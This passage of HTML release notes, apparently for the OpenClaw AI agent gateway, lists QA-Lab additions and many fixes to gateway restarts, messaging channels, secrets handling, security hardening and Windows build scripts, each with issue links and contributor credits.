<li>QA-Lab: tag gateway restart recovery and streaming final-integrity scenarios as live-only runtime parity lanes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>QA-Lab: add a personal-agent failure recovery scenario that checks honest partial status, retry boundaries, and local recovery artifacts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473904192" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83872" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83872/hovercard" href="https://github.com/openclaw/openclaw/pull/83872">#83872</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iFiras-Max1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iFiras-Max1">@iFiras-Max1</a>.</li>
<li>QA-Lab: include an opt-in <code>update.run</code> package self-upgrade sentinel for destructive latest-package recovery checks.</li>
<li>QA-Lab: add Codex plugin lifecycle and auth-profile fixture coverage for missing installs, pinned-version drift, first-turn install ordering, and doctor migration safety. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4416039198" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80323" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80323/hovercard" href="https://github.com/openclaw/openclaw/pull/80323">#80323</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415100585" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80174" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80174/hovercard" href="https://github.com/openclaw/openclaw/issues/80174">#80174</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/100yenadmin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/100yenadmin">@100yenadmin</a>.</li>
<li>Models/perf: pre-warm the provider auth-state map at gateway startup so <code>/models</code> and every model-listing call short-circuits the per-provider plugin / external-CLI discovery on the hot path. Per-call cost drops from ~20 s to ~5 ms (~4,100×); the one-time startup warm resets and re-warms after hot reloads. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491926618" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84816" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84816/hovercard" href="https://github.com/openclaw/openclaw/pull/84816">#84816</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sjf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sjf">@sjf</a>.</li>
<li>Release/security: ship the root npm package and OpenClaw-owned npm plugins with generated shrinkwrap, support bundled plugin runtime dependencies for suitable plugin tarballs, and require review for lockfile/shrinkwrap changes so published installs use locked dependency graphs.</li>
<li>Tests/perf: isolate doctor core health check unit coverage from real skills/workspace discovery so <code>doctor-core-checks</code> no longer dominates unit perf while keeping one real skills-readiness smoke. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4484275654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84493" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84493/hovercard" href="https://github.com/openclaw/openclaw/pull/84493">#84493</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankekn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankekn">@frankekn</a>.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Gateway/update: avoid fetching unrelated tags during dev-channel git updates so moved release tags do not block branch-based updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4490745188" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84737" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84737/hovercard" href="https://github.com/openclaw/openclaw/pull/84737">#84737</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rubencu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rubencu">@rubencu</a>.</li>
<li>CLI/update: suppress the expected future-config warning while an old update parent hands off to the freshly installed post-core process.</li>
<li>MiniMax: store OAuth token expiry as an absolute millisecond timestamp so OAuth profiles no longer appear expired on every request. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4466890226" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83480" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83480/hovercard" href="https://github.com/openclaw/openclaw/pull/83480">#83480</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Agents/Anthropic: strip missing or blank thinking signatures for signed-thinking providers even when recovery supplies a narrow replay policy without signature preservation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483026927" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84430" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84430/hovercard" href="https://github.com/openclaw/openclaw/issues/84430">#84430</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483407420" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84448" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84448/hovercard" href="https://github.com/openclaw/openclaw/pull/84448">#84448</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>Agents/channels: send a visible notice when an aborted main session cannot be resumed after restart, including Telegram group targets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509360796" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85805" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85805/hovercard" href="https://github.com/openclaw/openclaw/pull/85805">#85805</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pfrederiksen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pfrederiksen">@pfrederiksen</a>.</li>
<li>Discord/voice: serialize overlapping voice joins, retry aborted startup readiness within the configured timeout, upgrade meeting-notes-only sessions to realtime when the normal follow join arrives, detach promoted meeting-notes ownership without leaving voice, and include <code>OpenClaw</code> in default realtime wake names.</li>
<li>Gateway/restart: honor the configured restart drain budget for embedded runs and avoid spending the deferral timeout twice after forced restart timeouts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507967040" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85708" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85708/hovercard" href="https://github.com/openclaw/openclaw/pull/85708">#85708</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Gateway/boot: run <code>BOOT.md</code> startup checks in an isolated boot session so gateway restarts do not overwrite the agent's main session mapping. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4504750110" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85479" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85479/hovercard" href="https://github.com/openclaw/openclaw/pull/85479">#85479</a>)</li>
<li>Meeting Notes: include a speaker-labeled transcript section in generated summaries so Discord group voice captures show who said each captured utterance.</li>
<li>Discord/voice: recover stale realtime playback state when Discord stream-close/player-idle events do not arrive, and keep generated runtime plugin aliases available after postbuild rewrites.</li>
<li>Discord/voice: keep realtime playback running when meeting notes attaches to an existing voice session or a realtime consult starts, and route realtime user transcripts into meeting notes.</li>
<li>Config/secrets: preflight active runtime SecretRefs before root and include config writes persist, and roll back unchanged file/env state when post-write refresh fails. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4076550684" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46531" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46531/hovercard" href="https://github.com/openclaw/openclaw/issues/46531">#46531</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483477091" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84454" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84454/hovercard" href="https://github.com/openclaw/openclaw/pull/84454">#84454</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>CLI/models: preserve SecretRef-backed custom provider <code>apiKey</code> markers when <code>models status</code> regenerates <code>models.json</code>, avoiding resolved plaintext secrets on disk. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488302083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84632" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84632/hovercard" href="https://github.com/openclaw/openclaw/issues/84632">#84632</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4488645548" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84658" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84658/hovercard" href="https://github.com/openclaw/openclaw/pull/84658">#84658</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NianJiuZst/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NianJiuZst">@NianJiuZst</a>.</li>
<li>WhatsApp/auto-reply: deliver deferred media replies through the foreground reply fence so overlapping no-reply turns no longer hide already visible responses. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505746494" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85517" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85517/hovercard" href="https://github.com/openclaw/openclaw/pull/85517">#85517</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cavit99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cavit99">@cavit99</a>.</li>
<li>Sessions/security: replace agent-to-agent wildcard allowlist regexes with a precompiled linear matcher so cross-agent access checks avoid backtracking-prone patterns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509772199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85849/hovercard" href="https://github.com/openclaw/openclaw/pull/85849">#85849</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</li>
<li>WebChat: keep the run-complete indicator in progress until deferred history replay renders the assistant reply, so Done no longer appears before response text. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503058453" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85374" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85374/hovercard" href="https://github.com/openclaw/openclaw/issues/85374">#85374</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>Agents/tools: give timed-out or cancelled process trees a bounded SIGTERM cleanup window before SIGKILL while preserving tree-aware cancellation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4260251585" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66399" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66399/hovercard" href="https://github.com/openclaw/openclaw/issues/66399">#66399</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509890128" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85865" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85865/hovercard" href="https://github.com/openclaw/openclaw/pull/85865">#85865</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Agents/subagents: treat aborted subagent stop reasons as killed terminal failures so parent sessions get error announcements instead of silent success. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331519192" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72293" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72293/hovercard" href="https://github.com/openclaw/openclaw/issues/72293">#72293</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509845139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85860" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85860/hovercard" href="https://github.com/openclaw/openclaw/pull/85860">#85860</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/IWhatsskill/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/IWhatsskill">@IWhatsskill</a>.</li>
<li>Agents/providers: clamp proxy-like OpenAI Chat Completions output caps against the final request payload so strict local/API-compatible servers no longer reject prompts that already consume part of the context window. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4463346817" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83086" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83086/hovercard" href="https://github.com/openclaw/openclaw/issues/83086">#83086</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510107154" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85889" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85889/hovercard" href="https://github.com/openclaw/openclaw/pull/85889">#85889</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rendrag-git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rendrag-git">@rendrag-git</a>.</li>
<li>Agents/compaction: skip agent-harness preflight for provider-owned CLI runtime sessions so over-threshold Claude CLI sessions continue through normal compaction instead of failing on a missing harness. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492387826" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84857" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84857/hovercard" href="https://github.com/openclaw/openclaw/issues/84857">#84857</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4492896072" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84878" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84878/hovercard" href="https://github.com/openclaw/openclaw/pull/84878">#84878</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</li>
<li>Codex/app-server: keep successful native hook relays available through a short post-turn grace window so late Codex hook subprocesses can finish policy enforcement without clearing a replacement relay. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474425104" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83987" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83987/hovercard" href="https://github.com/openclaw/openclaw/pull/83987">#83987</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>Control UI/config: save form-mode edits from the source config snapshot so runtime-only provider defaults like empty <code>models.providers.&lt;id&gt;.baseUrl</code> are not written back and rejected. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509599522" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85831" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85831/hovercard" href="https://github.com/openclaw/openclaw/issues/85831">#85831</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/garyd9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/garyd9">@garyd9</a>.</li>
<li>Browser/existing-session: launch Chrome DevTools MCP with usage statistics disabled by default so its telemetry watchdog stays off unless an operator explicitly opts in. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510091383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85886" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85886/hovercard" href="https://github.com/openclaw/openclaw/pull/85886">#85886</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rohitjavvadi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rohitjavvadi">@rohitjavvadi</a>.</li>
<li>Telegram: normalize legacy durable group retry targets before retry sends, polls, and pins so group retries keep using the real chat id. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507163567" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85656" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85656/hovercard" href="https://github.com/openclaw/openclaw/pull/85656">#85656</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</li>
<li>Agents/PDF: route MiniMax PDF fallback policy through plugin metadata so MiniMax uses text extraction instead of VLM image fallback. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506610863" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85590" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85590/hovercard" href="https://github.com/openclaw/openclaw/pull/85590">#85590</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506467516" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85575" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85575/hovercard" href="https://github.com/openclaw/openclaw/issues/85575">#85575</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</li>
<li>CLI/plugins: tighten timeout, numeric option, media payload, permission, profile/TLS, plugin metadata, JSON, and remote URL handling; prevent stuck progress/app-server/IRC/Synology/Twitch waits; and keep imported chat history ordering stable.</li>
<li>Telegram/config: suppress the missing <code>accounts.default</code> warning when <code>channels.telegram.defaultAccount</code> names a configured account that also sorts first. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474104482" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83948" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83948/hovercard" href="https://github.com/openclaw/openclaw/issues/83948">#83948</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crypto86m/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crypto86m">@crypto86m</a>.</li>
<li>Telegram: serialize visible topic replies through core reply-lane admission so heartbeat and queued follow-up turns cannot continue ownerless or misroute responses. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508034086" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85709" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85709/hovercard" href="https://github.com/openclaw/openclaw/pull/85709">#85709</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jalehman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jalehman">@jalehman</a>.</li>
<li>WebChat: summarize internal message-tool source replies so tool cards no longer duplicate the visible reply body. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4491292661" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84773" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/84773/hovercard" href="https://github.com/openclaw/openclaw/pull/84773">#84773</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Gateway/WebChat: hide duplicate <code>gateway-injected</code> assistant rows when Cursor ACP already persisted the same <code>acp-runtime</code> reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508573154" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85741" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85741/hovercard" href="https://github.com/openclaw/openclaw/issues/85741">#85741</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lxf-lxf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lxf-lxf">@lxf-lxf</a>.</li>
<li>WebChat: scope the visible attachment button to its own composer file input so clicking Upload reliably opens the file picker. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4474133617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83952/hovercard" href="https://github.com/openclaw/openclaw/pull/83952">#83952</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4080664579" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/47983" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/47983/hovercard" href="https://github.com/openclaw/openclaw/issues/47983">#47983</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Gateway: preserve deferred lifecycle-error cleanup across later non-terminal events so provider timeouts can persist failed session state instead of leaving sessions stuck running. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4500457730" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85256" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85256/hovercard" href="https://github.com/openclaw/openclaw/pull/85256">#85256</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233422692" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63819" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63819/hovercard" href="https://github.com/openclaw/openclaw/issues/63819">#63819</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/samzong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/samzong">@samzong</a>.</li>
<li>Gateway/update: stop treating inherited macOS <code>XPC_SERVICE_NAME</code> values as launchd supervision during update respawn, so GUI-spawned gateways use detached respawn instead of exiting for a missing LaunchAgent. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4499885357" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85224" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/85224/hovercard" href="https://github.com/openclaw/openclaw/issues/85224">#85224</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/richardmqq/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/richardmqq">@richardmqq</a>.</li>
<li>Agents/subagents: report tool-only child progress during timeout summaries instead of showing no visible output.</li>
<li>Telegram/ACP: preserve explicit <code>:topic:</code> conversation suffixes when inbound ACP targets do not carry a separate thread id.</li>
<li>Browser/proxy: bypass the managed proxy for the exact local managed Chrome CDP readiness and DevTools WebSocket endpoints, so <code>openclaw browser start</code> works when the operator proxy blocks loopback egress. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4464834671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83255" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83255/hovercard" href="https://github.com/openclaw/openclaw/pull/83255">#83255</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lightcap/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lightcap">@lightcap</a>.</li>
<li>Ollama: bypass the managed proxy for configured local embedding origins while keeping SSRF guardrails on unconfigured targets. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kaspre/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kaspre">@Kaspre</a>.</li>
<li>OpenAI/images: route Codex API-key image generation through the native OpenAI Images API instead of the Codex OAuth streaming backend, avoiding 401s from valid API keys.</li>
<li>Agents/OpenAI completions: omit empty tool payload fields for proxy-like OpenAI-compatible endpoints so strict vLLM-style servers accept tool-free turns. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509644563" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85835" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85835/hovercard" href="https://github.com/openclaw/openclaw/pull/85835">#85835</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rendrag-git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rendrag-git">@rendrag-git</a>.</li>
<li>Sandbox: keep workspace skill mounts read-only for remote container-cwd file operations and reject symlinked skill roots before creating protected overlays. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506614699" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85591" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85591/hovercard" href="https://github.com/openclaw/openclaw/pull/85591">#85591</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jason-allen-oneal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jason-allen-oneal">@jason-allen-oneal</a>.</li>
<li>Scripts/Windows: route remaining QA, release, profile, and live-media <code>pnpm</code> launches through the managed runner so native Windows avoids brittle <code>.cmd</code> execution and shell-argv warnings.</li>
<li>Release: align generated config/API baselines and the meeting-notes plugin version so release preflight stays green on native Windows.</li>
<li>Install/Windows: run Git hook setup through a Node prepare helper so native Windows installs no longer print POSIX shell errors.</li>
<li>Checks/Windows: chunk and serialize extension oxlint shards on native Windows so changed gates avoid Go-backed linter memory spikes.</li>
<li>Release/Windows: run installed <code>openclaw.cmd</code> verification through explicit <code>cmd.exe</code> wrapping so npm prepublish/postpublish checks avoid Node shell-argv warnings.</li>
<li>Release/Windows: run release-check npm pack/install/root probes through the shared npm runner so native Windows avoids bare <code>npm</code> lookup and <code>.cmd</code> shell-argv handling.</li>
<li>Release/Windows: run cross-OS release check <code>.cmd</code> shims through explicit <code>cmd.exe</code> wrapping so native Windows install and gateway probes avoid Node shell-argv handling.</li>
<li>Control UI/Windows: run i18n Pi, npm, and pnpm helper commands through explicit Windows runners so native Windows translation sync avoids brittle <code>.cmd</code> launches.</li>
<li>Scripts/Windows: run the Z.AI fallback repro through the shared pnpm runner so native Windows avoids raw <code>.cmd</code> launches.</li>
<li>Codex/Windows: run app-server protocol formatting through the shared pnpm runner so native Windows avoids raw <code>.cmd</code> launches.</li>
<li>Plugins/Windows: run plugin npm package staging through the shared npm runner so native Windows release checks avoid bare <code>npm</code> lookup and <code>.cmd</code> shell-argv handling.</li>
<li>Checks/Windows: route full <code>pnpm check</code> stage commands through the managed child runner so Windows avoids Node shell-argv deprecation warnings there too.</li>
